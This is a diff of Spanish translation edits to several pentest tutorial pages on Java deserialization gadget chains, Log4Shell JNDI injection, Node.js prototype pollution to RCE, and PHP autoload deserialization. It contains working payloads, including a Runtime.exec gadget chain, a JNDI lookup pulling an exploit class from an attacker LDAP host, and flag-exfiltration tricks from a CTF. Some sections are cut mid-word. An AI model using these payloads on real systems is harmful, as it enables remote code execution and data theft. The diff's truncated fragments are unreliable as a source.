**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentarà deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe anotará que esta clase existe. Si la **solicitud DNS** **nunca se envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que o no está presente o **no es serializable/explotable**.
|
||||
**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentar** deserializar una **clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe anotará que esta clase existe. Si la **solicitud DNS** **nunca se envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que o no está presente o **no es serializable/explotable**.
|
||||
|
||||
Dentro de GitHub, [**GadgetProbe tiene algunas listas de palabras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con clases de Java para ser probadas.
|
||||
|
||||
@ -161,7 +161,7 @@ Por defecto, **verifica pasivamente** todas las solicitudes y respuestas enviada
|
||||
**Pruebas Manuales**
|
||||
|
||||
Puedes seleccionar una solicitud, hacer clic derecho y `Enviar solicitud a DS - Pruebas Manuales`.\
|
||||
Luego, dentro de la pestaña _Escáner de Deserialización_ --> _pestaña de Pruebas Manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).
|
||||
Luego, dentro de la _Pestaña del Escáner de Deserialización_ --> _pestaña de pruebas manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).
|
||||
|
||||
|
||||
|
||||
@ -170,7 +170,7 @@ Incluso si esto se llama "Pruebas Manuales", es bastante **automatizado**. Verif
|
||||
**Explotación**
|
||||
|
||||
Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la _Pestaña de Explotación_.\
|
||||
En esta pestaña, debes **seleccionar** el **punto de inyección** nuevamente, **escribir** la **biblioteca vulnerable** para la que deseas crear una carga útil y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.
|
||||
En esta pestaña debes **seleccionar** el **punto de inyección** nuevamente, **escribir** la **biblioteca vulnerable** para la que deseas crear una carga útil, y el **comando**. Luego, solo presiona el botón de **Ataque** apropiado.
|
||||
|
||||
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Java Transformers a Rutime exec()
|
||||
|
||||
En varios lugares puedes encontrar una carga útil de deserialización de java que utiliza transformadores de las colecciones comunes de Apache como la siguiente:
|
||||
En varios lugares puedes encontrar una carga útil de deserialización de java que utiliza transformadores de las colecciones comunes de Apache, como la siguiente:
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
@ -92,7 +92,7 @@ Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
En la última sección de la carga útil, puedes ver que se **crea un objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformadores encadenados. A partir del siguiente código, puedes ver que esto hará que los **transformadores encadenados** se copien dentro del atributo `lazyMap.factory`:
|
||||
En la última sección de la carga útil, puedes ver que se **crea un objeto Map**. Luego, se ejecuta la función `decorate` de `LazyMap` con el objeto map y los transformadores encadenados. En el siguiente código, puedes ver que esto hará que los **transformadores encadenados** se copien dentro del atributo `lazyMap.factory`:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
@ -153,11 +153,11 @@ _Tenga en cuenta cómo `value` es la entrada de cada transformación y la salida
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Nota que aquí **se explicaron los gadgets** utilizados para el **payload de ComonsCollections1**. Pero queda **cómo todo esto comienza a ejecutarse**. Puedes ver [aquí que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para ejecutar este payload, utiliza un objeto `AnnotationInvocationHandler` porque **cuando este objeto se deserializa**, **invocará** la función `payload.get()` que **ejecutará todo el payload**.
|
||||
Tenga en cuenta que aquí **se explicaron los gadgets** utilizados para el **payload de ComonsCollections1**. Pero queda **cómo todo esto comienza a ejecutarse**. Puede ver [aquí que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para ejecutar este payload, utiliza un objeto `AnnotationInvocationHandler` porque **cuando este objeto se deserializa**, **invocará** la función `payload.get()` que **ejecutará todo el payload**.
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
Este payload podría ser **útil para identificar si la web es vulnerable ya que ejecutará un sleep si lo es**.
|
||||
Este payload podría ser **útil para identificar si la web es vulnerable, ya que ejecutará un sleep si lo es**.
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
|
||||
JNDI, integrado en Java desde finales de los años 90, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
|
||||
|
||||
### Referencia de Nombres JNDI
|
||||
|
||||
@ -42,7 +42,7 @@ CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Obj
|
||||
- **ID de Tipo**: Identificador único para una interfaz.
|
||||
- **Codebase**: URL para obtener la clase stub.
|
||||
|
||||
Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
|
||||
Cabe destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
|
||||
|
||||
- Instalación de un **Administrador de Seguridad**.
|
||||
- Configuración del Administrador de Seguridad para permitir conexiones a codebases potencialmente maliciosas. Esto se puede lograr a través de:
|
||||
@ -53,7 +53,7 @@ Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir
|
||||
|
||||
### Contexto RMI
|
||||
|
||||
Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro también relevante en CORBA.
|
||||
Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
@ -85,7 +85,7 @@ Es más fácil atacar este LDAP usando **referencias JavaFactory**:
|
||||
|
||||
La vulnerabilidad se introduce en Log4j porque soporta una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefix:name}` donde `prefix` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) donde `name` debe ser evaluado. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se antepone automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica.
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefija automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo por defecto no se aplica.
|
||||
|
||||
Con un **: presente** en la clave, como en `${jndi:ldap://example.com/a}` no hay **prefijo** y se **consulta al servidor LDAP por el objeto**. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas.
|
||||
|
||||
@ -99,7 +99,7 @@ Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
|
||||
|
||||
Inicialmente calificado como bajo pero luego elevado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
|
||||
Inicialmente calificada como baja pero luego actualizada a crítica, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resolvió en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
|
||||
|
||||
@ -237,14 +237,14 @@ Desencadena la ejecución de la clase de explotación en el servidor web suscept
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Nota:** Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
|
||||
**Nota:** Esta explotación depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución de código arbitrario.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
> [!NOTE]
|
||||
> Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si quieres respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
|
||||
> [!NOTA]
|
||||
> Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si deseas respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
|
||||
>
|
||||
> Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes qué estás ejecutando.
|
||||
> Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes lo que estás ejecutando.
|
||||
|
||||
Para este ejemplo, puedes simplemente ejecutar este **servidor web vulnerable a log4shell** en el puerto 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_en el README encontrarás cómo ejecutarlo_). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP _X-Api-Version_.
|
||||
|
||||
@ -292,11 +292,11 @@ _Este ataque utilizando un objeto java generado de forma personalizada funcionar
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) es otra herramienta para generar **enlaces JNDI funcionales** y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) es otra herramienta para generar **enlaces JNDI funcionales** y proporcionar servicios de fondo iniciando un servidor RMI, servidor LDAP y servidor HTTP.\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases específicas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione_).
|
||||
Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases especificadas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione_).
|
||||
|
||||
Usando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) puedes crear el exploit de deserialización que será descargado por JNDI:
|
||||
```bash
|
||||
@ -332,7 +332,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||||
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||||
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||||
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontrar bibliotecas vulnerables locales
|
||||
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encuentra bibliotecas vulnerables locales
|
||||
|
||||
### Laboratorios para probar
|
||||
|
||||
@ -343,7 +343,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
|
||||
## Explotación Post-Log4Shell
|
||||
|
||||
En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **potencialmente posible** **abusar** de algunas características de **Log4J**.
|
||||
En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **posible** **abusar** de algunas características de **Log4J**.
|
||||
|
||||
La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html) de Log4j tiene algunas frases interesantes:
|
||||
|
||||
@ -353,40 +353,14 @@ La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html
|
||||
|
||||
Esto significa que por defecto puedes **olvidarte de usar cualquier exploit `jndi`**. Además, para realizar **búsquedas recursivas** necesitas tenerlas configuradas.
|
||||
|
||||
Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml:
|
||||
Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
</PatternLayout>
|
||||
</Console>
|
||||
```
|
||||
### Búsquedas de Entorno
|
||||
|
||||
En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
|
||||
Como se ve en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) hay diferentes formas de acceder a las variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
|
||||
|
||||
### Exfiltración en Excepciones
|
||||
|
||||
En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimieron en la aplicación de python. Esto significaba que al provocar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`.** Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera:
|
||||
|
||||
.png>)
|
||||
|
||||
### Excepciones de Patrones de Conversión
|
||||
|
||||
Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y provocar excepciones que se registrarán en `stdout`. Por ejemplo:
|
||||
|
||||
.png>)
|
||||
|
||||
Esto no se encontró útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
|
||||
|
||||
### Expresiones Regulares de Patrones de Conversión
|
||||
|
||||
Sin embargo, es posible usar algunos **patrones de conversión que soportan expresiones regulares** para exfiltrar información de una búsqueda utilizando expresiones regulares y abusando de **búsqueda binaria** o comportamientos **basados en tiempo**.
|
||||
|
||||
- **Búsqueda binaria a través de mensajes de excepción**
|
||||
|
||||
El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **expresiones regulares**. Funciona así: `replace{pattern}{regex}{substitution}`\
|
||||
Abusando de este comportamiento podrías hacer que el reemplazo **provocara una excepción si la expresión regular coincidía** con algo dentro de la cadena (y sin excepción si no se encontraba) así:
|
||||
### Bús
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
@ -397,7 +371,7 @@ Abusando de este comportamiento podrías hacer que el reemplazo **provocara una
|
||||
Como se mencionó en la sección anterior, **`%replace`** soporta **regexes**. Por lo tanto, es posible usar un payload de la [**página de ReDoS**](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de que se encuentre la bandera.\
|
||||
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **timeout** en ese CTF.
|
||||
|
||||
En este [**escrito**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
|
||||
En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
@ -416,9 +390,9 @@ En este [**escrito**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
||||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#`-s (utilicé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes se reemplaza luego por 54 `#`-s**. Este proceso se repite **6 veces**, lo que lleva a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
|
||||
> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que el código de estado HTTP 500 sea enviado al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
|
||||
```
|
||||
### Contaminación de elementos de matriz
|
||||
|
||||
Note que así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
|
||||
Tenga en cuenta que, así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
|
||||
```javascript
|
||||
c = [1, 2]
|
||||
a = []
|
||||
@ -218,7 +218,7 @@ client-side-prototype-pollution.md
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
```
|
||||
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
|
||||
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
|
||||
|
||||
@ -353,6 +353,4 @@ Para reducir el riesgo de contaminación del prototipo, se pueden emplear las si
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
- [https://blog.p6.is/AST-Injection/](https://blog.p
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden usar para **encontrar vulnerabilidades de contaminación de prototipos**.
|
||||
|
||||
Además, también podrías usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear** automáticamente las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
|
||||
Además, también podrías usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
|
||||
|
||||
### Depuración de dónde se usa una propiedad <a href="#id-5530" id="id-5530"></a>
|
||||
```javascript
|
||||
|
||||
@ -37,11 +37,11 @@ clone(USERINPUT)
|
||||
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
|
||||
var proc = fork("a_file.js")
|
||||
```
|
||||
## PP2RCE a través de variables de entorno
|
||||
## PP2RCE a través de vars de entorno
|
||||
|
||||
**PP2RCE** significa **Contaminación de Prototipos a RCE** (Ejecución Remota de Código).
|
||||
|
||||
Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es generado** con algún método de **`child_process`** (como `fork` o `spawn` u otros), llama al método `normalizeSpawnArguments`, que es un **gadget de contaminación de prototipos para crear nuevas variables de entorno**:
|
||||
Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es generado** con algún método de **`child_process`** (como `fork` o `spawn` u otros), llama al método `normalizeSpawnArguments`, que es un **gadget de contaminación de prototipos para crear nuevas vars de entorno**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
Un payload similar al anterior con algunos cambios fue propuesto en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
|
||||
|
||||
- En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena **dentro de argv0** de **`/proc/self/cmdline`**.
|
||||
- En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena i**nside argv0** de **`/proc/self/cmdline`**.
|
||||
- Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, **requiere `/proc/self/cmdline`**.
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
@ -171,7 +171,7 @@ O, para evitar que los WAFs pidan el dominio:
|
||||
}
|
||||
}
|
||||
```
|
||||
## PP2RCE vuln funciones child_process
|
||||
## PP2RCE vuln child_process functions
|
||||
|
||||
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos usar alguna técnica para forzar que esa función ejecute código:
|
||||
|
||||
@ -414,7 +414,7 @@ var proc = execSync("something")
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>spawnSync</code> explotación</strong></summary>
|
||||
<summary><strong>Explotación de <code>spawnSync</code></strong></summary>
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// NOT working after kEmptyObject (fix) without options
|
||||
@ -461,9 +461,9 @@ var proc = spawnSync("something")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Forzar Spawn
|
||||
## Forzando Spawn
|
||||
|
||||
En los ejemplos anteriores, viste cómo activar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior, eso era **parte del código**, pero ¿qué pasa si el código **no lo está** llamando?
|
||||
En los ejemplos anteriores, viste cómo activar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior, eso era **parte del código**, pero ¿qué pasa si el código **no** lo está llamando?
|
||||
|
||||
### Controlando una ruta de archivo require
|
||||
|
||||
@ -667,8 +667,8 @@ Sin embargo, al igual que los métodos **`child_process`** anteriores, ha sido *
|
||||
|
||||
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto que se está accediendo es **undefined**. Si en el **código** ese **atributo** se **establece** un **valor**, **no podrás sobrescribirlo**.
|
||||
|
||||
En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la var `options` en lugar de un `{}` es un **`kEmptyObject`**. Lo que **previene que una contaminación de prototipos** afecte los **atributos** de **`options`** para obtener RCE.\
|
||||
Al menos desde la v18.4.0, esta protección ha sido **implementada**, y por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan los métodos **ya no funcionan** (¡si no se utilizan `options`!).
|
||||
En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de un `{}` es un **`kEmptyObject`**. Lo cual **previene que una contaminación de prototipo** afecte los **atributos** de **`options`** para obtener RCE.\
|
||||
Al menos desde v18.4.0, esta protección ha sido **implementada**, y por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan los métodos **ya no funcionan** (¡si no se utilizan `options`!).
|
||||
|
||||
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm fue **también en parte arreglada** configurando opciones a **`kEmptyObject`** en lugar de **`{}`.**
|
||||
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# PHP - Deserialización + Clases de Autocarga
|
||||
# PHP - Deserialización + Carga Automática de Clases
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Primero, debes verificar qué son [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||
Primero, debes verificar qué son [**Clases de Carga Automática**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||
|
||||
## Deserialización de PHP + spl_autoload_register + LFI/Gadget
|
||||
|
||||
@ -41,10 +41,10 @@ require __DIR__ . $filename;
|
||||
En mi caso, no tenía nada como eso, pero había dentro del **mismo contenedor** otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
|
||||
|
||||
- Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
|
||||
- Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar la carga útil de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
|
||||
